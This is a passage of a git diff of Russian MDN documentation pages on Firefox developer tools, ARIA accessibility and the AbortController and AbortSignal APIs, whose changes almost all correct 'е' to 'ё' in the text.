                Если вы щелкнете значение в инспекторе узлов, вы можете изменить его: нажмите Enter или Tab и новое значение вступит в силу немедленно.

                +

                Если вы щёлкнете значение в инспекторе узлов, вы можете изменить его: нажмите Enter или Tab и новое значение вступит в силу немедленно.

                Обход узлов

                @@ -63,6 +63,6 @@ translation_of: Tools/Web_Audio_Editor

                В панели, которая показывает детали узла, есть кнопка включения / выключения:

                -

                Нажмите на него, и график будет изменен для обхода этого узла, поэтому он больше не будет иметь никакого эффекта. Узлы, которые обойдены, показаны заштрихованным фоном:

                +

                Нажмите на него, и график будет изменён для обхода этого узла, поэтому он больше не будет иметь никакого эффекта. Узлы, которые обойдены, показаны заштрихованным фоном:

                diff --git a/files/ru/tools/web_console/helpers/index.html b/files/ru/tools/web_console/helpers/index.html index fd55c2d723..1a7b9602eb 100644 --- a/files/ru/tools/web_console/helpers/index.html +++ b/files/ru/tools/web_console/helpers/index.html @@ -9,7 +9,7 @@ translation_of: Tools/Web_Console/Helpers ---
                {{ToolsSidebar}}

                Команды

                -

                Командная строка JavaScript, предоставляемая Веб-Консолью, предлагает несколько встроенных вспомогательных функций, которые делают определенные задачи проще.

                +

                Командная строка JavaScript, предоставляемая Веб-Консолью, предлагает несколько встроенных вспомогательных функций, которые делают определённые задачи проще.

                $()
                @@ -34,7 +34,7 @@ translation_of: Tools/Web_Console/Helpers
                pprint()
                Форматирует указанные значения до читаемого вида; полезно для дампа содержимого объектов и массивов.
                help()
                -
                Показывает текст помощи. На самом деле (вот восхитительный пример рекурсии) он приведет вас к этой странице.
                +
                Показывает текст помощи. На самом деле (вот восхитительный пример рекурсии) он приведёт вас к этой странице.
                cd()
                Переключает механизм оценки контекста JavaScript к другому айфрейму, имеющемуся на странице. Смотрите страницу работа с айфреймами.
                copy()
                diff --git a/files/ru/tools/web_console/index.html b/files/ru/tools/web_console/index.html index 727c384d8a..d1c86476c4 100644 --- a/files/ru/tools/web_console/index.html +++ b/files/ru/tools/web_console/index.html @@ -21,7 +21,7 @@ translation_of: Tools/Web_Console
              • Позволяет взаимодействовать с веб-страницей, выполняя выражения JavaScript в её контексте.
                • -

                Это часть замены старой Консоли Ошибок, встроенной в Firefox. Старая Консоль Ошибок выводила ошибки, предупреждения и сообщения от всех веб-страниц, ошибки самого выполнения самого браузера и его дополнений. Из-за этого было трудно выделить, сообщения от конкретной страницы. Новая Веб-консоль всегда привязана к определенной веб-странице и показывает только связанную с ней информацию.

                +

                Это часть замены старой Консоли Ошибок, встроенной в Firefox. Старая Консоль Ошибок выводила ошибки, предупреждения и сообщения от всех веб-страниц, ошибки самого выполнения самого браузера и его дополнений. Из-за этого было трудно выделить, сообщения от конкретной страницы. Новая Веб-консоль всегда привязана к определённой веб-странице и показывает только связанную с ней информацию.

                На другой половине Консоли ошибок заменили — Консоль браузера, которая выводит ошибки, предупреждения и сообщения от кода браузера и от дополнений.

                @@ -95,7 +95,7 @@ translation_of: Tools/Web_Console
              - +
              Прозрачный контент.
              Разрешенный контентРазрешённый контент ???
              {{no_tag_omission}}
              Разрешенные родительские элементыРазрешённые родительские элементы ???
              Щелчок по данной кнопке создает снимок экрана (screenshot) текущей страницы. (Внимание: По умолчанию данная функция отключена и, при необходимости, должна быть включена в настройках.)Щелчок по данной кнопке создаёт снимок экрана (screenshot) текущей страницы. (Внимание: По умолчанию данная функция отключена и, при необходимости, должна быть включена в настройках.)
              Количество повторов (Occurrences)Если строка которая генерирует предупреждение или ошибку выполняется больше одного раза, то на поле сообщений она попадет только один раз, но рядом появится счётчик который укажет сколько раз это сообщение было выведено в поле сообщений.Если строка которая генерирует предупреждение или ошибку выполняется больше одного раза, то на поле сообщений она попадёт только один раз, но рядом появится счётчик который укажет сколько раз это сообщение было выведено в поле сообщений.
              Имя файла и номер строки
              @@ -194,7 +194,7 @@ translation_of: Tools/Web_Console

              Если сделанное изменение аннулирует текущую схему - например, окно браузера изменяется или некоторые JavaScript изменяют CSS элемент - макет не пересчитывается немедленно. Вместо переформатирования в асинхронном режиме, в следующий раз браузер решает что это должно быть сделано (как правило, в следующий раз браузер перекрашивается). Таким образом, браузер может накопить коллекцию основанную на недействующих изменениях и пересчитать их эффект сразу.

              -

              Тем не менее, если какой-то JavaScript код читает что стиль был изменен, то браузер должен выполнить синхронное переформатирование в порядке вычисленным расчетом стиля чтобы вернуться. Например, код как этот хочет  вызвать немедленное, синхронное, переформатирование, когда вызовет window.getComputedStyle(thing).height:

              +

              Тем не менее, если какой-то JavaScript код читает что стиль был изменён, то браузер должен выполнить синхронное переформатирование в порядке вычисленным расчётом стиля чтобы вернуться. Например, код как этот хочет  вызвать немедленное, синхронное, переформатирование, когда вызовет window.getComputedStyle(thing).height:

              var thing = document.getElementById("the-thing");
 thing.style.display = "inline-block";
@@ -275,7 +275,7 @@ var thingHeight = window.getComputedStyle(thing).height;
              -

              Bug 863874 это мета-ошибка для регистрации соответствующих сообщений о проблемах безопасности в веб-консоль. Если у вас есть идеи для полезных функций, таких как те, что обсуждаемые здесь, или заинтересованы в содействии, проверьте мета-ошибку и ее зависимости.

              +

              Bug 863874 это мета-ошибка для регистрации соответствующих сообщений о проблемах безопасности в веб-консоль. Если у вас есть идеи для полезных функций, таких как те, что обсуждаемые здесь, или заинтересованы в содействии, проверьте мета-ошибку и её зависимости.

              Сообщения консоли API

              @@ -548,7 +548,7 @@ console.trace();

              Нажмите Enter или Tab, чтобы принять нужную подсказку, перемещайтесь вверх/вниз с помощью стрелок к другим вариантам подсказок или просто продолжайте набирать текст, если Вам не подходит ни один из вариантов.

              -

              Консоль выдает подсказки из области видимости текущего активного фрейма. Это значит, что если Вы уже достигли точки останова в функции, то у Вас будут доступны автоподстановки только для объектов, которые находятся в одной области видимости с этой функцией.

              +

              Консоль выдаёт подсказки из области видимости текущего активного фрейма. Это значит, что если Вы уже достигли точки останова в функции, то у Вас будут доступны автоподстановки только для объектов, которые находятся в одной области видимости с этой функцией.

              Вы можете получать такие же подсказки для элементов массива:

              @@ -568,18 +568,18 @@ console.trace();

              Работа с iframes

              -

              Если страница содержит встроенные iframes, Вы можете использовать команду cd() чтобы изменить область видимости в консоли на область определенного iframe, и после этого Вы сможете выполнять функции, которые содержит объект document в этом iframe. Существует три способа выбрать iframe используя cd():

              +

              Если страница содержит встроенные iframes, Вы можете использовать команду cd() чтобы изменить область видимости в консоли на область определённого iframe, и после этого Вы сможете выполнять функции, которые содержит объект document в этом iframe. Существует три способа выбрать iframe используя cd():

              -

              Вы можете передать DOM-элемент для определенного iframe :

              +

              Вы можете передать DOM-элемент для определённого iframe :

              var frame = document.getElementById("frame1");
 cd(frame);
              -

              Вы можете передать CSS селектор для определенного iframe:

              +

              Вы можете передать CSS селектор для определённого iframe:

              cd("#frame1");
              -

              Вы можете передать глобальный объект Window для определенного iframe:

              +

              Вы можете передать глобальный объект Window для определённого iframe:

              var frame = document.getElementById("frame1");
 cd(frame.contentWindow);
@@ -623,7 +623,7 @@ cd(frame.contentWindow);
 
 
              Сейчас Вы сможете видеть, что глобальный объект Window это теперь наш iframe:
              
 
-
              и сможете выполнить вызов функции, определенной в этом iframe:
              
+
              и сможете выполнить вызов функции, определённой в этом iframe:
              
 
 
              
 
diff --git a/files/ru/tools/web_console/split_console/index.html b/files/ru/tools/web_console/split_console/index.html
index 8085c9a199..11573ae938 100644
--- a/files/ru/tools/web_console/split_console/index.html
+++ b/files/ru/tools/web_console/split_console/index.html
@@ -5,14 +5,14 @@ translation_of: Tools/Web_Console/Split_console
 ---
 
              {{ToolsSidebar}}
              
 
-
              Вы можете использовать консоль вместе с другими инструментами. Находясь в другом инструменте панели инструментов, просто нажмите клавишу Esc или выберите команду «Показать разделенную консоль» в меню панели инструментов. Панель инструментов теперь будет разделена, с исходным инструментом вверху и веб-консолью внизу.
              
+
              Вы можете использовать консоль вместе с другими инструментами. Находясь в другом инструменте панели инструментов, просто нажмите клавишу Esc или выберите команду «Показать разделённую консоль» в меню панели инструментов. Панель инструментов теперь будет разделена, с исходным инструментом вверху и веб-консолью внизу.
              
 
-
              Вы можете закрыть разделенную консоль, снова нажав Esc или выбрав команду меню «Скрыть разделенную консоль».
              
+
              Вы можете закрыть разделённую консоль, снова нажав Esc или выбрав команду меню «Скрыть разделённую консоль».
              
 
 
              {{EmbedYouTube("G2hyxhPHyXo")}}
              
 
 
              Как обычно, $0 работает как сокращение для элемента, выбранного в данный момент в Инспекторе:
              
 
-
              При использовании разделенной консоли с отладчиком, областью действия консоли является текущий выполняемый кадр стека. Таким образом, если вы нажмете точку останова в функции, область действия будет областью действия функции. Вы получите автозаполнение для объектов, определенных в функции, и сможете легко изменять их на лету:
              
+
              При использовании разделённой консоли с отладчиком, областью действия консоли является текущий выполняемый кадр стека. Таким образом, если вы нажмёте точку останова в функции, область действия будет областью действия функции. Вы получите автозаполнение для объектов, определённых в функции, и сможете легко изменять их на лету:
              
 
 
              
diff --git a/files/ru/tools/working_with_iframes/index.html b/files/ru/tools/working_with_iframes/index.html
index c1985d882a..80c09a8ad1 100644
--- a/files/ru/tools/working_with_iframes/index.html
+++ b/files/ru/tools/working_with_iframes/index.html
@@ -13,7 +13,7 @@ translation_of: Tools/Working_with_iframes
 
 
              {{EmbedYouTube("Me9hjqd74m8")}}
              
 
-
              Эта функция отключена по умолчанию: чтобы включить ее, откройте developer tool settings и выберите "Select an iframe as the currently targeted document":
              
+
              Эта функция отключена по умолчанию: чтобы включить её, откройте developer tool settings и выберите "Select an iframe as the currently targeted document":
              
 
 
               Вы не увидите новую кнопку на панели инструментов:
              
 
diff --git a/files/ru/web/accessibility/aria/aria_techniques/index.html b/files/ru/web/accessibility/aria/aria_techniques/index.html
index 2e29856a5c..192996ad83 100644
--- a/files/ru/web/accessibility/aria/aria_techniques/index.html
+++ b/files/ru/web/accessibility/aria/aria_techniques/index.html
@@ -47,7 +47,7 @@ translation_of: Web/Accessibility/ARIA/ARIA_Techniques
 
 
              Композиционные роли
              
 
-
              Приведенные ниже методы описывают каждую композиционную роль, а также их требуемые и необязательные дочерние роли.
              
+
              Приведённые ниже методы описывают каждую композиционную роль, а также их требуемые и необязательные дочерние роли.
              
 
 
              
 
                
diff --git a/files/ru/web/accessibility/aria/aria_techniques/using_the_aria-describedby_attribute/index.html b/files/ru/web/accessibility/aria/aria_techniques/using_the_aria-describedby_attribute/index.html
index e481272f17..a2d825dcb0 100644
--- a/files/ru/web/accessibility/aria/aria_techniques/using_the_aria-describedby_attribute/index.html
+++ b/files/ru/web/accessibility/aria/aria_techniques/using_the_aria-describedby_attribute/index.html
@@ -15,13 +15,13 @@ translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-describedb
 
 
                Значение
                
 
-
                разделенный пробелами список ID элементов
                
+
                разделённый пробелами список ID элементов
                
 
 
                Возможные последствия для пользовательских агентов и вспомогательных технологий
                
 
 
 
-
                Примечание: Мнения о том, как вспомогательная технология должна справляться с этой техникой, могут отличаться. Приведенная выше информация является одним из таких мнений и поэтому не носит нормативного характера.
                
+
                Примечание: Мнения о том, как вспомогательная технология должна справляться с этой техникой, могут отличаться. Приведённая выше информация является одним из таких мнений и поэтому не носит нормативного характера.
                
 
 
                Примеры
                
 
diff --git a/files/ru/web/accessibility/aria/aria_techniques/using_the_aria-labelledby_attribute/index.html b/files/ru/web/accessibility/aria/aria_techniques/using_the_aria-labelledby_attribute/index.html
index 97a87de95b..06f511c886 100644
--- a/files/ru/web/accessibility/aria/aria_techniques/using_the_aria-labelledby_attribute/index.html
+++ b/files/ru/web/accessibility/aria/aria_techniques/using_the_aria-labelledby_attribute/index.html
@@ -17,7 +17,7 @@ translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-labelledby
 
 
                Значение
                
 
-
                Список идентификаторов (id) разделенных пробелом
                
+
                Список идентификаторов (id) разделённых пробелом
                
 
 
                Возможные эффекты в клиентских приложениях и вспомогательных технологиях
                
 
diff --git a/files/ru/web/accessibility/aria/index.html b/files/ru/web/accessibility/aria/index.html
index b2dc0f6ec3..8a983d96e0 100644
--- a/files/ru/web/accessibility/aria/index.html
+++ b/files/ru/web/accessibility/aria/index.html
@@ -49,9 +49,9 @@ translation_of: Web/Accessibility/ARIA
 
 
                
  
                Навигация с помощью клавиатуры и фокус в виджетах на JavaScript
                
- 
                Первый шаг в создании доступных JavaScript виджетов, позволяющих производить навигацию с помощью клавиатуры. Статья описывает последовательные шаги по достижению цели. Еще один хороший ресурс - статья Yahoo! об управлении фокусом.
                
+ 
                Первый шаг в создании доступных JavaScript виджетов, позволяющих производить навигацию с помощью клавиатуры. Статья описывает последовательные шаги по достижению цели. Ещё один хороший ресурс - статья Yahoo! об управлении фокусом.
                
  
                Style Guide for Keyboard Navigation
                
- 
                В этом руководстве описываются способы управления самыми распространенными виджетами с клавиатуры.
                
+ 
                В этом руководстве описываются способы управления самыми распространёнными виджетами с клавиатуры.
                
 
                
 
 
                Дополнительные ресурсы по ARIA
                
@@ -68,7 +68,7 @@ translation_of: Web/Accessibility/ARIA
 
                Список рассылки.
                
 
 
                
- 
                Открытая Google Group, посвященная ARIA
                
+ 
                Открытая Google Group, посвящённая ARIA
                
  
                Здесь можно задать вопрос об ARIA, а также предложить улучшение существующей документации, которая находится там же.
                
 
                
 
@@ -94,7 +94,7 @@ translation_of: Web/Accessibility/ARIA
  
                Yahoo! Mail
                
  
                Детище Yahoo! - Yahoo! Mail, веб-приложение, выглядящее практически как нативное и вполне доступное. После обзора Yahoo! Mail с использованием экранной читалки Marco Zehe сказал: "Хорошая работа, не сбавляйте обороты!".
                
  
                Yahoo! Search
                
- 
                Yahoo! проделали невероятную работу по продвижению ARIA в своем поисковике, используя все возможности и делясь своим опытом. Yahoo! Search использует одновременно ARIA landmarks, live regions, и widgets.
                
+ 
                Yahoo! проделали невероятную работу по продвижению ARIA в своём поисковике, используя все возможности и делясь своим опытом. Yahoo! Search использует одновременно ARIA landmarks, live regions, и widgets.

            Стандартизация.

            diff --git a/files/ru/web/accessibility/aria/roles/checkbox_role/index.html b/files/ru/web/accessibility/aria/roles/checkbox_role/index.html index 7301c80fa2..5a4c474ed2 100644 --- a/files/ru/web/accessibility/aria/roles/checkbox_role/index.html +++ b/files/ru/web/accessibility/aria/roles/checkbox_role/index.html @@ -17,7 +17,7 @@ translation_of: Web/Accessibility/ARIA/Roles/checkbox_role

            Описание

            -

            Нативный HTML checkbox  элемент управления может находиться только в двух состояниях отмеченности - "отмечен" или "не отмечен", с неопределенным состоянием, устанавливаемым с помощью JavaScript. Аналогично элемент с role="checkbox"  может находиться в трех состояниях, обозначенных через aria-checked атрибут: true, false, or mixed.

            +

            Нативный HTML checkbox  элемент управления может находиться только в двух состояниях отмеченности - "отмечен" или "не отмечен", с неопределённым состоянием, устанавливаемым с помощью JavaScript. Аналогично элемент с role="checkbox"  может находиться в трёх состояниях, обозначенных через aria-checked атрибут: true, false, or mixed.

            Поскольку чекбокс является интерактивным элементом, он должен быть фокусируемым и доступным при помощи клавиатуры. Если роль установлена для нефокусируемого элемента, чтобы исправить ситуацию, используйте атрибут tabindex. Ожидаемый способ активации чекбокса при помощи клавиатуры - Пробел .

            @@ -31,14 +31,14 @@ translation_of: Web/Accessibility/ARIA/Roles/checkbox_role
            aria-checked
            -

            Значение aria-checked определяет состояние чекбокса. Этот атрибут может принимать одно из трех значений:

            +

            Значение aria-checked определяет состояние чекбокса. Этот атрибут может принимать одно из трёх значений:

            true
                Чекбокс отмечен
            false
                Чекбокс не отмечен
            mixed
            -     Чекбокс частично отмечен, или в неопределенном состоянии

            +     Чекбокс частично отмечен, или в неопределённом состоянии

            tabindex="0"
            Делает элемент фокусируемым, так что пользователь ассистивных технологий может сразу перейти к нему и начать читать.
            @@ -67,7 +67,7 @@ translation_of: Web/Accessibility/ARIA/Roles/checkbox_role
            onclick
            Обрабатывает клики, которые изменяют состояние чекбокса, меняя значение атрибута aria-checked и внешний вид чекбокса так, чтобы он выглядел отмеченным млм неотмеченным для зрячего пользователя.
            onKeyPress
            -
            Обрабатывает случай, когда пользователь нажимает Пробел для смены состояния чекбокса путем изменения значения атрибута aria-checked и внешнего вида чекбокса так, чтобы он выглядел отмеченным млм неотмеченным для зрячего пользователя.
            +
            Обрабатывает случай, когда пользователь нажимает Пробел для смены состояния чекбокса путём изменения значения атрибута aria-checked и внешнего вида чекбокса так, чтобы он выглядел отмеченным млм неотмеченным для зрячего пользователя.
            @@ -75,7 +75,7 @@ translation_of: Web/Accessibility/ARIA/Roles/checkbox_role

            Примеры

            -

            Пример ниже создает простой чекбокс, используя CSS и JavaScript для обработки отмеченного и неотмеченного состояний элемента.

            +

            Пример ниже создаёт простой чекбокс, используя CSS и JavaScript для обработки отмеченного и неотмеченного состояний элемента.

            HTML

            @@ -128,7 +128,7 @@ translation_of: Web/Accessibility/ARIA/Roles/checkbox_role
          2. Программы чтения с экрана должны объявить элемент как чекбокс и при необходимости предоставить инструкции о том, как его активировать.
            3. -
            Замечание: Мнения относительно того, как ассистивные технологии должны работать в таких случаях, отличаются. Информация, приведенная выше, также одно из таких мнений, и не является нормативом.
            +
            Замечание: Мнения относительно того, как ассистивные технологии должны работать в таких случаях, отличаются. Информация, приведённая выше, также одно из таких мнений, и не является нормативом.

            Лучшие практики

            diff --git a/files/ru/web/accessibility/index.html b/files/ru/web/accessibility/index.html index 5906df0a22..4caa565c8a 100644 --- a/files/ru/web/accessibility/index.html +++ b/files/ru/web/accessibility/index.html @@ -13,7 +13,7 @@ translation_of: Web/Accessibility

            Технологии облегчают жизнь многим людям. А людям с ограниченными возможностями технологии дают такие возможности, которые ранее им были недоступны. Доступность в контексте разработки подразумевает создание такого контента, пользоваться которым мог бы каждый, несмотря на индивидуальные физические или когнитивные способности и вне зависимости от того, как они получают доступ в сеть.

            -

            «Термин "специальные возможности" часто применяется для описания возможности использования или удобства использования системы людьми с ограниченными возможностями, например, инвалидами на креслах-колясках. Это понятие следует понимать более широко, например, оно охватывает шрифт Брайля, пандусы для инвалидов на креслах-колясках, аудио-сигналы на пешеходных переходах, оборудованные рифленой тактильной плиткой пешеходные дорожки, разработку веб-сайтов и так далее." Статья Accessibility в английской Википедии

            +

            «Термин "специальные возможности" часто применяется для описания возможности использования или удобства использования системы людьми с ограниченными возможностями, например, инвалидами на креслах-колясках. Это понятие следует понимать более широко, например, оно охватывает шрифт Брайля, пандусы для инвалидов на креслах-колясках, аудио-сигналы на пешеходных переходах, оборудованные рифлёной тактильной плиткой пешеходные дорожки, разработку веб-сайтов и так далее." Статья Accessibility в английской Википедии

            "Интернет принципиально создан для всех людей на Земле, независимо от их аппаратных, программных, языковых, культурных, территориальных, физических или умственных способностей." W3C - Accessibility

            diff --git a/files/ru/web/accessibility/keyboard-navigable_javascript_widgets/index.html b/files/ru/web/accessibility/keyboard-navigable_javascript_widgets/index.html index 6e67f41591..4c7755c6a1 100644 --- a/files/ru/web/accessibility/keyboard-navigable_javascript_widgets/index.html +++ b/files/ru/web/accessibility/keyboard-navigable_javascript_widgets/index.html @@ -40,12 +40,12 @@ translation_of: Web/Accessibility/Keyboard-navigable_JavaScript_widgets Нуль (tabindex="0") Возможен - Происходит поочередно, исходя из позиции элемента внутри документа + Происходит поочерёдно, исходя из позиции элемента внутри документа Более нуля (например tabindex="33") Возможен - Значение атрибута tabindex указывает очередность, в которой элемент получит фокус. Чем меньше значение атрибута, тем раньше элемент получит фокус. В любом случае, фокус придет на такие элементы раньше, чем на элементы с tabindex="0" и элементы, которые способны получить фокус без атрибута tabindex (например, tabindex="7" получит фокус раньше tabindex="11") + Значение атрибута tabindex указывает очерёдность, в которой элемент получит фокус. Чем меньше значение атрибута, тем раньше элемент получит фокус. В любом случае, фокус придёт на такие элементы раньше, чем на элементы с tabindex="0" и элементы, которые способны получить фокус без атрибута tabindex (например, tabindex="7" получит фокус раньше tabindex="11") @@ -54,7 +54,7 @@ translation_of: Web/Accessibility/Keyboard-navigable_JavaScript_widgets

            Чтобы сделать простой виджет доступным через клавишу Tab, задайте tabindex="0" на HTML элементах {{HTMLElement("div")}} или {{HTMLElement("span")}}, из которых он состоит. Ниже представлен пример эмулирования чекбоксов. Вместо элементов input в примере используется {{HTMLElement("span")}}.

            -

            Пример 1: Простой виджет, эмулирующий работу чекбосов путем смены изображений. Виджет использует tabindex, чтобы обеспечить доступ с клавиатуры.

            +

            Пример 1: Простой виджет, эмулирующий работу чекбосов путём смены изображений. Виджет использует tabindex, чтобы обеспечить доступ с клавиатуры.

            <!-- Без атрибута tabindex, элементы <span> не смогут принимать фокус с клавиатуры -->
 <div>
@@ -81,7 +81,7 @@ translation_of: Web/Accessibility/Keyboard-navigable_JavaScript_widgets
 
 
            Безусловно есть необходимость создания более сложных виджетов. В качестве примеров можно привести меню, панели табов, различные динамические таблицы, представления для информации, имеющей древовидную структуру. Для таких контролов родительский элемент должен иметь атрибут tabindex="0". В таком случае он сможет попасть в фокус с клавиатуры. Все дочерние элементы (пункты меню, отдельные табы, ячейки, строки) должны иметь tabindex="-1", чтобы не попадать в фокус при нажатии tab. Пользователи должны иметь возможность путешествовать по дочерним элементам при помощи стрелочек на клавиатуре.
            
 
-
            Ниже приведен пример, который демонстрирует использование этой техники для реализации вложенного меню. После того, как в фокус попадает основной элемент меню ({{HTMLElement("ul")}}), разработчик должен программно управлять фокусом, реагируя на нажатия клавиш со стрелочками. Для описания техники управления фокусом внутри виджета смотрите раздел «Управление фокусом внутри виджета» ниже в данной статье.
            
+
            Ниже приведён пример, который демонстрирует использование этой техники для реализации вложенного меню. После того, как в фокус попадает основной элемент меню ({{HTMLElement("ul")}}), разработчик должен программно управлять фокусом, реагируя на нажатия клавиш со стрелочками. Для описания техники управления фокусом внутри виджета смотрите раздел «Управление фокусом внутри виджета» ниже в данной статье.
            
 
 
            Пример 2: Меню, использующее атрибут tabindex для осуществления доступа с клавиатуры
            
 
@@ -98,7 +98,7 @@ translation_of: Web/Accessibility/Keyboard-navigable_JavaScript_widgets
     <ul id="styleMenu" title="Стиль" tabindex="-1">
       <li id="italic" tabindex="-1">Наклонный</li>
       <li id="bold" tabindex="-1">Жирный</li>
-      <li id="underline" tabindex="-1">Подчеркнутый</li>
+      <li id="underline" tabindex="-1">Подчёркнутый</li>
     </ul>
   </li>
   <li id="mb1_menu3" tabindex="-1"> Выравнивание
@@ -117,7 +117,7 @@ translation_of: Web/Accessibility/Keyboard-navigable_JavaScript_widgets
 
 
            Управление фокусом внутри виджета
            
 
-
            Когда пользователь уходит с виджета, а потом возвращается обратно, фокус должен вернутся на определенный элемент, у которого был фокус раньше. Например, на конкретный элемент дерева или ячейку. Есть два варианта, которыми этого можно добиться:
            
+
            Когда пользователь уходит с виджета, а потом возвращается обратно, фокус должен вернутся на определённый элемент, у которого был фокус раньше. Например, на конкретный элемент дерева или ячейку. Есть два варианта, которыми этого можно добиться:
            
 
 
              
  
            1. Переходящий tabindex: программное перемещение фокуса
              2. 
@@ -126,7 +126,7 @@ translation_of: Web/Accessibility/Keyboard-navigable_JavaScript_widgets
 
 
              Техника первая: Переходящий tabindex
              
 
-
              Идея данной техники заключается в выставлении атрибута tabindex в нулевое значение для элемента, который последним находился в фокусе. При этом если пользователь уйдет табом с виджета, а потом вернется обратно, элемент восстановит фокус правильно. Заметьте, что выставляя tabindex в "0", необходимо выставлять tabindex="-1" для предыдущего выделенного элемента. Эта техника требует выставлять фокус элементам программно, реагируя на нажатие клавиш.
              
+
              Идея данной техники заключается в выставлении атрибута tabindex в нулевое значение для элемента, который последним находился в фокусе. При этом если пользователь уйдёт табом с виджета, а потом вернётся обратно, элемент восстановит фокус правильно. Заметьте, что выставляя tabindex в "0", необходимо выставлять tabindex="-1" для предыдущего выделенного элемента. Эта техника требует выставлять фокус элементам программно, реагируя на нажатие клавиш.
              
 
 
              Для этого необходимо обрабатывать событие keydown для каждого дочернего элемента виджета. Когда пользователь нажимает на стрелочки на клавиатуре, чтобы переместиться на другой элемент следует:
              
 
@@ -142,7 +142,7 @@ translation_of: Web/Accessibility/Keyboard-navigable_JavaScript_widgets
 
 
              Используйте element.focus() чтобы задать фокус элементу
              
 
-
              Не используйте createEvent(), initEvent() and dispatchEvent() чтобы задать фокус. Событие DOM focus должно использовать только для получения информации о том, что произошел фокус на элемент, оно генерируется системой, когда какой-либо элемент попал в фокус. Оно не должно использовать для того, чтобы задать фокус. Вместо этого используйте element.focus().
              
+
              Не используйте createEvent(), initEvent() and dispatchEvent() чтобы задать фокус. Событие DOM focus должно использовать только для получения информации о том, что произошёл фокус на элемент, оно генерируется системой, когда какой-либо элемент попал в фокус. Оно не должно использовать для того, чтобы задать фокус. Вместо этого используйте element.focus().
              
 
 
              Используйте событие onfocus чтобы отслеживать фокус
              
 
diff --git a/files/ru/web/accessibility/understanding_wcag/perceivable/color_contrast/index.html b/files/ru/web/accessibility/understanding_wcag/perceivable/color_contrast/index.html
index e63497f6ee..733a758e3a 100644
--- a/files/ru/web/accessibility/understanding_wcag/perceivable/color_contrast/index.html
+++ b/files/ru/web/accessibility/understanding_wcag/perceivable/color_contrast/index.html
@@ -9,13 +9,13 @@ translation_of: Web/Accessibility/Understanding_WCAG/Perceivable/Color_contrast
 ---
 
              Описание проблемы
              
 
-
              Цветовой контраст между фоном и содержимым переднего плана (обычно текстом) должен быть минимальным, чтобы обеспечить удобство чтения. Хорошо иметь крутой дизайн на своем сайте, но он бесполезен, если ваши пользователи не могут прочитать контент.
              
+
              Цветовой контраст между фоном и содержимым переднего плана (обычно текстом) должен быть минимальным, чтобы обеспечить удобство чтения. Хорошо иметь крутой дизайн на своём сайте, но он бесполезен, если ваши пользователи не могут прочитать контент.
              
 
 
              Пример хорошего контраста:An example of good color contrast consisting of the words good contrast with a light purple background.
              
 
 
              Пример плохого контраста:An example of bad color contrast consisting of the words bad contrast with a dark purple background.
              
 
-
              Наличие хорошего цветового контраста на вашем сайте принесёт пользу всем вашим пользователям, но в особенности будет полезно пользователям с определенными типами дальтонизма и другими подобными условиями, которые испытывают затруднения при распознавании похожих цветов.
              
+
              Наличие хорошего цветового контраста на вашем сайте принесёт пользу всем вашим пользователям, но в особенности будет полезно пользователям с определёнными типами дальтонизма и другими подобными условиями, которые испытывают затруднения при распознавании похожих цветов.
              
 
 
              Связанные с WCAG критерии успеха
              
 
diff --git a/files/ru/web/api/abortcontroller/index.html b/files/ru/web/api/abortcontroller/index.html
index 4914b8ca76..07671c5722 100644
--- a/files/ru/web/api/abortcontroller/index.html
+++ b/files/ru/web/api/abortcontroller/index.html
@@ -13,7 +13,7 @@ translation_of: Web/API/AbortController
 
 
              
  
              {{domxref("AbortController.AbortController()")}}
              
- 
              Создает новый экземпляр AbortController.
              
+ 
              Создаёт новый экземпляр AbortController.
              
 
              
 
 
              Свойства
              
@@ -27,16 +27,16 @@ translation_of: Web/API/AbortController
 
 
              
  
              {{domxref("AbortController.abort()")}}
              
- 
              Прерывает DOM запрос до момента его завершения. Это дает возможность обрывать fetch запросы, потребителей любых ответов с {{domxref("Body")}} и потоки.
              
+ 
              Прерывает DOM запрос до момента его завершения. Это даёт возможность обрывать fetch запросы, потребителей любых ответов с {{domxref("Body")}} и потоки.
              
 
              
 
 
              Примеры
              
 
 
              В текущем фрагменте мы пытаемся скачать видео используя Fetch API.
              
 
-
              Для начала мы создадим контроллер используя конструктор {{domxref("AbortController.AbortController","AbortController()")}}, затем возьмем ссылку на ассоциированный с ним объект {{domxref("AbortSignal")}} используя свойство {{domxref("AbortController.signal")}}.
              
+
              Для начала мы создадим контроллер используя конструктор {{domxref("AbortController.AbortController","AbortController()")}}, затем возьмём ссылку на ассоциированный с ним объект {{domxref("AbortSignal")}} используя свойство {{domxref("AbortController.signal")}}.
              
 
-
              При инициализации fetch запроса, мы передаем AbortSignal в качестве параметра (смотрите ниже {signal}). Это ассоциирует сигнал и контроллер с fetch запросом и дает нам возможность остановить запрос вызовом метода {{domxref("AbortController.abort()")}}, что можно увидеть во втором addEventListener.
              
+
              При инициализации fetch запроса, мы передаём AbortSignal в качестве параметра (смотрите ниже {signal}). Это ассоциирует сигнал и контроллер с fetch запросом и даёт нам возможность остановить запрос вызовом метода {{domxref("AbortController.abort()")}}, что можно увидеть во втором addEventListener.
              
 
 
              var controller = new AbortController();
 var signal = controller.signal;
@@ -61,7 +61,7 @@ function fetchVideo() {
 }
              
 
 
              
-
              Заметка: При вызове abort(), промис fetch() будет отклонен с AbortError.
              
+
              Заметка: При вызове abort(), промис fetch() будет отклонён с AbortError.
              
 
              
 
 
              Вы можете найти полный рабочий пример на GitHub — смотрите abort-api (и живой пример).
              
diff --git a/files/ru/web/api/abortsignal/index.html b/files/ru/web/api/abortsignal/index.html
index 1830282648..ea8d029224 100644
--- a/files/ru/web/api/abortsignal/index.html
+++ b/files/ru/web/api/abortsignal/index.html
@@ -13,7 +13,7 @@ translation_of: Web/API/AbortSignal
 
 
              
  
              {{domxref("AbortSignal.aborted")}} {{readonlyInline}}
              
- 
              Это {{domxref("Boolean")}}, который указывает, отменен ли запрос(ы), с которым связывался сигнал, отменён (true) или нет (false).
              
+ 
              Это {{domxref("Boolean")}}, который указывает, отменён ли запрос(ы), с которым связывался сигнал, отменён (true) или нет (false).
              
 
              
 
 
              Обработчики событий
              
diff --git a/files/ru/web/api/abstractworker/index.html b/files/ru/web/api/abstractworker/index.html
index f7aa28428b..fc666b57c7 100644
--- a/files/ru/web/api/abstractworker/index.html
+++ b/files/ru/web/api/abstractworker/index.html
@@ -45,7 +45,7 @@ first.onchange = function() {
   console.log('Message posted to worker');
 }
            -

